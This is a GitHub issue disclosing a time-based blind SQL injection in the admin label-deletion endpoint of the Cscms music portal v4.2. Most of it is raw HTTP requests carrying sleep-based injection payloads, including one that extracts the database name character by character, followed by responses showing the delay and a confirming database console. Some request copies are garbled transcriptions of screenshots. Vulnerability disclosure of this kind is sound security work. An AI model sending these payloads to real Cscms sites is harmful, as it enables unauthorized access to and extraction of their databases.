



[Jump to bottom](#)

SQL injection vulnerability exists in Cscms music portal system v4.2 #34

 Open  Am1azi3ng opened this issue on Apr 19 · 0 comments

Am1azi3ng commented on Apr 19

Details

there is a Injection vulnerability exists in sys_Label.php_page_del



```
POST /admin.php/Label/page_del HTTP/1.1
Host: cscms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cscms.test/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_session=3lvkrqraebntvb76ecdifg0j6v11bpl; cscms_admin_id=3HtLFUmqgin4;
cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVhCOKf4oyCoI8lNzjjyeMF3fURy57grmVzbA;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

id[]='or+(sleep(5))#
```

Request

Raw Params Headers Hex

Raw

in

Actions

1 POST /admin.php/Label/page_del HTTP/1.1
2 Host: csoms.test
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Referer: http://csoms.test/admin.php
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN,zh;q=0.9
9 Cookie: csoms_session=3lvkrqraebntvbg76ecdifg0j6v1lbp1; csoms_admin_id=3HtLFUmqgin4; csoms_admin_login=6HHRwKP;Gz152FN9C4heWHz0kF4oyGoI8INzjjyeMF3fURy57grwVzbA;XDEBUG_SESSION=PHPSTORM
10 Connection: close
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 20
13
14 id[]="or (sleep(5))#"

0 matches

Done

Response

Raw Headers Hex

Raw

Render

in

Actions

1 HTTP/1.1 200 OK
2 Date: Mon, 07 Mar 2022 07:11:15 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
4 X-Powered-By: PHP/5.6.9
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
7 Pragma: no-cache
8 X-Generator: Csoms v4 (http://www.chshoms.com)
9 Set-Cookie: csoms_session=ue9cbjiqemltse1c0ttpueugb6aiv4p4; expires=Mon, 07-Mar-2
10 Connection: close
11 Content-Type: text/html; charset=utf-8
12 Content-Length: 108
13
14 {"error":0,"info":{"url":"/admin.php/label/page?v=7049"},"msg":{"url":"/admin

0 matches

668 bytes | 5,471 ms

You can see that success makes the server sleep
Construct payload to guess the database

```
(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)
```

Request

Raw Params Headers Hex

Raw

in

Actions

1 POST /admin.php/Label/page_del HTTP/1.1
2 Host: csoms.test
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Referer: http://csoms.test/admin.php
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN,zh;q=0.9
9 Cookie: csoms_session=3lvkrqraebntvbg76ecdifg0j6v1lbp1; csoms_admin_id=3HtLFUmqgin4; csoms_admin_login=6HHRwKP;Gz152FN9C4heWHz0kF4oyGoI8INzjjyeMF3fURy57grwVzbA;XDEBUG_SESSION=PHPSTORM
10 Connection: close
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 100
13
14 id[]="or(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)#"

0 matches

Done

Response

Raw Headers Hex

Raw

Render

in

Actions

1 HTTP/1.1 200 OK
2 Date: Mon, 07 Mar 2022 07:12:11 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
4 X-Powered-By: PHP/5.6.9
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
7 Pragma: no-cache
8 X-Generator: Csoms v4 (http://www.chshoms.com)
9 Set-Cookie: csoms_session=9d3d0cbjoiuh35verui2vckr34p30bnf; expires=Mon, 07-Mar-2
10 Connection: close
11 Content-Type: text/html; charset=utf-8
12 Content-Length: 108
13
14 {"error":0,"info":{"url":"/admin.php/label/page?v=8324"},"msg":{"url":"/admin

0 matches

668 bytes | 5,468 ms

1

select database();

✓

Services

Tx

csoms@localhost

console_1 2 s 427 ms

console_1 2 s 427 ms

Output

Database() ✓

1 csoms

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

